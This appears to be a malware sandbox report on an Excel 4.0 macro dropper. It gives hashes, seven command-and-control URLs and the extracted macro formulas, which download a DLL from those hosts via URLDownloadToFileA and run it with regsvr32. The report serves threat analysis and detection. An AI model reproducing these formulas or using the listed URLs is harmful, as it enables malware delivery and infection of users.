General

  • Target

    d45aea2c8a2edccf518b2689d97ceba1b0ae3e7d504be578be6880466f63e10a

  • Size

    30KB

  • Sample

    241120-ee283svndn

  • MD5

    237758f934238fea9abb35fa226a9161

  • SHA1

    426a7e888a7abb775843cd2b2fd203a2426efd29

  • SHA256

    d45aea2c8a2edccf518b2689d97ceba1b0ae3e7d504be578be6880466f63e10a

  • SHA512

    968e88dd80cbf2c2092eeaccb56c85b89275c13f226cbb21e94d4fd4d51f698c584819b948141c0a8e91700c48a39f55b39c91cb2c308c245331acb8eb173f06

  • SSDEEP

    384:7842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:sHFhNZliH2ydFfPdkqstJhE6v

Score
10/10

Malware Config

Extracted

Rule
Excel 4.0 XLM Macro
C2

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/

http://blog.centerking.top/wp-includes/DBq5jx/

http://polarrefrigeracao.com.br/fontes/y7QpO/

http://filmsetserie.dx.am/img/ghCY9J5KD1J/

https://vagbharati.in/wp-admin/nYBb/

http://advogadogoiania.com.br/wp-includes/O9Az4/

Attributes
  • formulas

    =CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/6cc4ts0bkrOlXq/","..\rfs.dll",0,0) =IF('LFEVE'!F11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://consejosdeorlando.com/wp-includes/jxTbRk2DgQOIOyokR/","..\rfs.dll",0,0)) =IF('LFEVE'!F13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://blog.centerking.top/wp-includes/DBq5jx/","..\rfs.dll",0,0)) =IF('LFEVE'!F15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://polarrefrigeracao.com.br/fontes/y7QpO/","..\rfs.dll",0,0)) =IF('LFEVE'!F17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://filmsetserie.dx.am/img/ghCY9J5KD1J/","..\rfs.dll",0,0)) =IF('LFEVE'!F19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"https://vagbharati.in/wp-admin/nYBb/","..\rfs.dll",0,0)) =IF('LFEVE'!F21<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://advogadogoiania.com.br/wp-includes/O9Az4/","..\rfs.dll",0,0)) =IF('LFEVE'!F23<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\rfs.dll") =RETURN()

Extracted

Language
xlm4.0
Source
URLs
xlm40.dropper

http://henrysfreshroast.com/6cc4ts0bkrOlXq/

Targets

    • Target

      d45aea2c8a2edccf518b2689d97ceba1b0ae3e7d504be578be6880466f63e10a

    • Size

      30KB

    • MD5

      237758f934238fea9abb35fa226a9161

    • SHA1

      426a7e888a7abb775843cd2b2fd203a2426efd29

    • SHA256

      d45aea2c8a2edccf518b2689d97ceba1b0ae3e7d504be578be6880466f63e10a

    • SHA512

      968e88dd80cbf2c2092eeaccb56c85b89275c13f226cbb21e94d4fd4d51f698c584819b948141c0a8e91700c48a39f55b39c91cb2c308c245331acb8eb173f06

    • SSDEEP

      384:7842JZPFhNjtOA7icg0SCdiVH2KgUrNU/qWhZOdBNPJM+kqr9eCgh0k5M2E6v:sHFhNZliH2ydFfPdkqstJhE6v

    Score
    10/10
    • Process spawned unexpected child process

      This typically indicates the parent process was compromised via an exploit or macro.

MITRE ATT&CK Enterprise v15

Tasks